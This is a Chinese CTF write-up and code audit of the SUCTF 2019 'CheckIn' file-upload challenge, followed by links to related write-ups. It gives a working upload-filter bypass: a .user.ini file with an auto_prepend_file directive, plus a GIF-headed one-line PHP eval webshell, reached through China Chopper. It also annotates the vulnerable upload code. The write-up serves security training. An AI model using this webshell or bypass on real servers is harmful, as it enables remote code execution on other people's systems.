简介

 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

 考察知识点:上传绕过、.user.ini

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

过程

拿到题老方法 各种绕过尝试

经过测试 得知有:后缀名检测(php,php1、php5、phtml不行).文件内容不能有<? 、必须是图片类型、低啊用了这个函数exif_imagetype()所以要添加文件头

测试.htaccess可以 但是没用 看WP说服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。可以使用.user.ini

.user.ini

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

auto_prepend_fileauto_append_file

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

利用思路大概是这样 上传.user.php内容指定a.jpg——>上传a.jpg内容为可以执行的php代码——>访问当前目录下的php文件即可

我们可以先上传一内容为下方的一个.user.php 我们可以看到上传成功当前目录下有个index.php 这说明这个漏洞可以利用成功

使用auto_prepend_file指定一个插入文件名为a.jpg 这样当前目录下的php文件就包含了a.jpg这个文件

GIF89a
auto_prepend_file=a.jpg

在上传一个内容为a.jpg的小马文件 这样此段代码就包含到了index.php了

GIF89a
<script language='php'>@eval($_POST['xiaohua']);<</script>

菜刀连接 使用菜刀中的虚拟终端查看flag即可获得

http://87e-ebb9c445cad2.node3.buuoj.cn/uploads/d57583a334819a28038b398dd11b00cf/index.php

参考学习:https://xz.aliyun.com/t/6091

    https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

代码审计

程序代码:

<!DOCTYPE html>
<html lang="en"> <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head> <body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body> </html> <?php
// error_reporting(0); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
//获取缓存文件名
$tmp_name = $_FILES["fileUpload"]["tmp_name"]; //获取文件名
$name = $_FILES["fileUpload"]["name"];
print($name); //判断缓存文件是否存在
if (!$tmp_name) {
die("filesize too big!");
} //判断文件名是否存在
if (!$name) {
die("filename cannot be empty!");
} //获取文件后缀名
$extension = substr($name, strrpos($name, ".") + 1); //黑名单限制了ph开头的所有 还有这里作者可能想限制.htacess文件上传漏洞但是作者写错了
//所以可以上传.htaccess(注意拼写)
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
} //判断文件内是否存在<?这些字符 这个很好绕过
//使用<script language='php'>@eval($_POST['xiaohua']);</script>轻松绕过
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
} //exif_imagetype — 判断一个图像的类型 可以判断一个函数的类型是不是图像类型
//绕过在文件头修改成Content-type对应的即可 比如GIF类型GIF89a Cntent-Type:image/gif
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
} $upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
?>

基础工作部分

过滤部分

末尾部分

审计总结:文件后缀黑名单比较严格 过滤了一切php1 php2 phtml 这类的后缀 。

    文件内容<?过滤 可以通过JS加载php绕过的

    文件类型判断 可以添加图片头部绕过

参考学习:https://www.cnblogs.com/phpBigbin/p/7945273.html    

[原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)的更多相关文章

  1. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  2. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  3. [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

    简介  原题复现:  考察知识点:http协议走私.php字符串解析漏洞  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...

  4. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  5. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  6. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  7. [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)

    简介  原题复现:  考察知识点:逻辑漏洞.JWT伪造.python反序列化  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...

  8. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  9. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

随机推荐

  1. Vue内容

    vue中的过滤器 moeths点击 过滤器的含义 过滤器就是把原有的数据过一遍 放到页面中  不会改变原有的数据   只是在原有的数据上增加新的数据

  2. ElasticSearch实战系列九: ELK日志系统介绍和安装

    前言 本文主要介绍的是ELK日志系统入门和使用教程. ELK介绍 ELK是三个开源软件的缩写,分别表示:Elasticsearch , Logstash, Kibana , 它们都是开源软件.新增了一 ...

  3. JavaWeb 图书管理系统

    查看更多系统:系统大全,课程设计.毕业设计,请点击这里查看 01 系统简述 图书管理系统就是利用计算机,结合互联网对图书进行结构化.自动化管理的一种软件,来提高对图书的管理效率. 02 系统特点 集成 ...

  4. Python ( 学习 基础篇第一部 )

    目录 注释 注释的分类 注释的注意点 变量 变量的概念 变量的声明 变量的命名 变量的交换 变量的缓存机制 常量 进制 进制的转换 原码 反码 补码 六大数据类型 Number 的四大类 字符串 st ...

  5. Bitmap缩放(三)

    质量压缩 public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle ...

  6. C. Bank Hacking 解析(思維)

    Codeforce 796 C. Bank Hacking 解析(思維) 今天我們來看看CF796C 題目連結 題目 略,請直接看原題. 前言 @copyright petjelinux 版權所有 觀 ...

  7. git的远程分支是干啥的,和本地的有什么区别?

    不知道大家有没有经历过,当我们切换到了一个新的分支想要提交代码的时候,总会遇到这样的错误. 我们把日志里的英文翻译过来是说,我们当前的分支没有设置任何上游分支.然后git提示我们可以运行下面这行代码来 ...

  8. 【转】Liunx常用命令详解

    Liuux命令查询入口 Linux命令 - 系统信息 命令代码 注释说明 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 ...

  9. Spring源码分析之Bean的创建过程详解

    前文传送门: Spring源码分析之预启动流程 Spring源码分析之BeanFactory体系结构 Spring源码分析之BeanFactoryPostProcessor调用过程详解 本文内容: 在 ...

  10. python爬虫 学习1

    1 import requests 2 from bs4 import BeautifulSoup 3 import bs4 4 def gethtmltext(url): #获取html内容,利用t ...